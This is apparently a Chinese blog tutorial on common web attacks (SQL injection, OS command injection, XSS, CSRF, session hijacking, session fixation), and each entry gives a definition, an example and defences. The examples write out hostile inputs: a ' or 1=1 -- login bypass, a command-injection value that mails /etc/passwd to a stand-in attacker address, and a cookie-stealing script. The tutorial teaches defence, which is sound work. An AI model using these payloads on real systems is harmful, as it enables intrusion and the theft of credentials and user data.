Web 安全

1. SQL注入攻击

定义

攻击者通过把恶意SQL命令插入到web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执行恶意SQL命令的攻击方式

实例

登录页面有NamePassword两个输入域,代码中SQL拼接:SELECT * From Table WHERE Name='XX' and Password='YY'
Name输入域随便填,Password输入域输入' or 1=1 --',SQL拼接之后变成SELECT * From Table WHERE Name='XXX' and Password='' or 1=1 --''--表示屏蔽之后的字符)

防御

  • 利用addslashes方法进行预定义字符(如:单引号'、双引号 ""、反斜线 \)转义
  • 输入进行验证,过滤非法字符串
  • 链接数据库时,使用预编译语句,尽量使用mysqli、PDO连接数据库
  • 尽量设置白名单,如未设置白名单,至少应该设置黑名单进行过滤

2. OS注入攻击

定义

在Web应用中,执行非法的操作系统命令(如:EXECSYSTEM),从而达到攻击的目的

实例

一段处理发送邮件的代码
$adr = $q->param('mailaddress'); open(MAIL, "| /usr/sbin/sendmail $adr");
攻击者将下面的值作为邮件地址; cat /etc/passwd | mail hack@example.jp
程序接收该值,构成一下的命令组合
/usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp
最终含有Linux用户信息的文件被邮件发送至黑客的邮箱

防御

  • 在客户端和服务端进行输入检查
  • 用最小权限去运行程序,将可执行权限缩短至最低
  • 如果只允许运行有限的命令,使用白名单过滤

3. 跨站脚本攻击

定义

XSS是指恶意攻击者利用网站没有对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码

实例1:

留言板表单中的表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>
攻击者在value填写<script>alert(‘foolish!’)</script>,将数据存储到数据库中;其他用户取出数据显示的时候,将会执行这些攻击性代码

实例2:

通过在表单数据在嵌入<script>alert(document.cookie)</script>,获取用户cookie,并通过带攻击链的图片,发送用户的cookie

防御

  • 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie
  • 表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合...
  • 过滤或移除特殊的Html标签,例如:<script><iframe>
  • 利用函数进行转义处理,例如:htmlentities(将字符转换成 html 实体,例如将输入的 < 转换成 &lt;,避免将 < 当做 html 标签读)、addcslashes(在特定的字符前添加反斜杠字符串)...

4. 跨站请求伪造

定义

CSRF是一种夹持用户在已经登陆的web应用程序上执行非本意的操作的攻击方式,相比于XSS,CSRF是利用了系统对页面浏览器的信任,XSS则利用了系统对用户输入的信任

原理

原理

实例:

假设某游戏网站的虚拟币转账是采用GET方式进行操作的,样式如:
http://www.game.com/Transfer.php?toUserId=11&vMoney=1000
此时恶意攻击者的网站也构建一个相似的链接:
http://www.game.com/Transfer.php?toUserId=20&vMoney=1000 #toUserID为攻击的账号ID
1、假若客户端已经验证并登陆www.game.com网站,此时客户端浏览器保存了游戏网站的验证cookie
2、客户端再tab另一个页面进行访问恶意攻击者的网站,并从恶意攻击者的网站构造的链接来访问游戏网站
3、浏览器将会携带该游戏网站的cookie进行访问,刷一下就转给了攻击者1000游戏虚拟币
为避免GET请求出现伪造请求的方式,可以采取POST方式去提交数据,但是如果攻击者仿照一个form表单,也是可以破解的

防御:

  • 重要数据交互采用POST进行接收,当然是用POST也不是万能的,伪造一个form表单即可破解
  • 使用验证码,只要是涉及到数据交互就先进行验证码验证,这个方法可以完全解决CSRF。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案
  • 验证HTTP Referer字段,该字段记录了此次HTTP请求的来源地址,最常见的应用是图片防盗链。PHP中可以采用APache URL重写规则进行防御
  • 为每个表单添加令牌token并验证
  • 为 Cookie 添加 SameSite 属性
PS:验证码和表单token的作用,是防止表单不可被伪造,请求确实是用户主动发起的。表单token的基本思路是:在表单中生成key和value,把这一对键值对存在session中,同时在表单提交时,用一个隐藏的标签,提交key和value到服务器。服务器验证 $_POST['key'] == $_SESSION['key'],如果是伪造的表单,攻击者不清楚生成的key和value的算法,是通不过服务器的验证的,key和value是每次访问表单页面动态生成的,单次有效,具体实例可见

5. 会话劫持

定义

在一次正常的会话过程当中(会话,就是两台主机之间的一次通讯),攻击者作为第三方参与到其中,他可以在正常数据包中插入恶意数据,也可以在双方的会话当中进行监听,甚至可以是代替某一方主机接管会话

常用攻击类型

  • ARP欺骗
  • DNS欺骗
  • IP欺骗
  • TCP会话劫持

防御

  • 交换式网络代替共享式网络(防范嗅探攻击)
  • 通讯采用加密协议
  • 监控网络流量

6. Session 固定攻击

定义

诱骗受害者使用攻击者指定的SessionID进行登录,从而使web不再生成新的SessionID,导致黑客指定的SessionID变成了合法桥梁,黑客可以使用指定的SessionID冒充受害者身份进行违法操作

原理

攻击原理

实例1

黑客首先用自己的账号密码登录,得到服务器生成的 SessionId。再利用 JS 的 document.cookie="sessionid=123" 属性,构造自己的SessionId,引诱受害者进入重置 sessionId 页面,此时黑客的SessionId对应的账号就是用户的账号,而不是之前黑客自己的账号信息

实例2

利用 HTML 的 <META>标签加 Set-Cookie属性

实例3

利用HTTP响应头的 Set-Cookie 设置Cookie

防御

  • 每当用户登录时进行重置SessionID(PHP用session_regenerate_id 方法)
  • SessionID闲置太久时,重置SessionID
  • 禁止透明化 SessionId(如采用POSTGET 两种方式传递 sessionId),防止黑客轻易就可以做出修改用户 sessionId 的链接,引诱用户上当

参考博客

SQL注入与防御
XSS跨站脚本攻击
CSRF攻击与防御
会话劫持
session固定攻击

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,088评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,715评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,361评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,099评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 60,987评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,063评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,486评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,175评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,440评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,518评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,305评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,190评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,550评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,880评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,152评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,451评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,637评论 2 335

推荐阅读更多精彩内容